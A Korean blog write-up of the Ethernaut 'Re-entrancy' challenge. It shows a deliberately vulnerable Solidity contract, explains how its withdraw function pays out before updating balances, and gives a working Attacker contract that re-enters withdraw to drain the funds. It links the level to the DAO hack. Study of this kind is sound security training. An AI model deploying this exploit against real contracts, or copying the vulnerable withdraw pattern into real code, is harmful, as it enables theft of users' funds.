새소식

인기 검색어

Write Up/Ethernaut

[Ethernaut] Re-entrancy

  • -
반응형

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import 'openzeppelin-contracts-06/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

우리의 mission은 컨트랙트의 모든 자금을 훔치는 것이다.

제목부터가 재진입이다.

코드를 보면 donate로 기부를 하고 balanceOf로 기부한 사람들의 기부 금액을 확인할 수 있다.

그리고 withdraw() 함수로 출금을 한다.

 

이 문제는 withdraw() 함수에 Vulnerability가 존재한다.

함수를 잘 살펴보면 먼저 balances[msg.sende] 즉 함수를 호출한 주소의 잔액을 확인한다. 그래서 잔액이 입력한 값보다 크면 ether를 받고 잔액을 감소한다. 전체적인 부분에서 봤을 때는 별 문제없다.

잔액을 확인하고 돈을 상대에게 주고 난 후 차감한다. 이런 흐름이다. 하지만 컨트랙트랑 상호작용하는 것을 살펴보면 다르다.

컨트랙트의 흐름을 그림으로 나타내면 User가 contract한테 withdraw() 함수를 호출하면 if문으로 확인하고 만족하면 call로 _amount만큼 준다. 그리고 callback이 오면 balances[msg.sender]가 _amount만큼 감소한다.

callback이 오면 잔액을 차감한다는 점을 유심히 봐야 하는 데 user가 돈을 받은 시점에서는 contract의 잔액이 감소되지 않았다. 그러면 receive함수에서 다시 withdraw()함수를 호출하면 어떻게 될까??

contract에 있는 balances[msg.sender]는 차감되지 않지만 계속해서 _amount를 user에게 준다.

언제까지?? contract의 금액이 0이 될 때까지..

그러면 hacker의 잔액은 계속 추가되고 contract의 잔액은 계속 감소한다.

contract Attacker{
    Reentrance reentrance;

    constructor(address payable _address) public {
        reentrance = Reentrance(_address);
    }
    
    function attack() public payable {
        reentrance.donate{value : msg.value}(address(this));
        reentrance.withdraw(msg.value);
    }

    receive() external payable {
        reentrance.withdraw(0.001 ether);
    }
}

코드를 작성하고 attack를 하면 문제가 풀린다.

이 문제는 제일 유명한 사건 DAO의 해킹 사건을 재구성한 문제이다.

반응형

'Write Up > Ethernaut' 카테고리의 다른 글

[Ethernaut] Elevator  (0) 2023.02.09
[Ehthernaut] MagicNumber  (0) 2023.02.08
[Ethernaut] King  (0) 2023.02.07
[Ethernaut] Vault  (0) 2023.02.03
[Ethernaut] Force  (0) 2023.02.03
Contents

포스팅 주소를 복사했습니다

이 글이 도움이 되었다면 공감 부탁드립니다.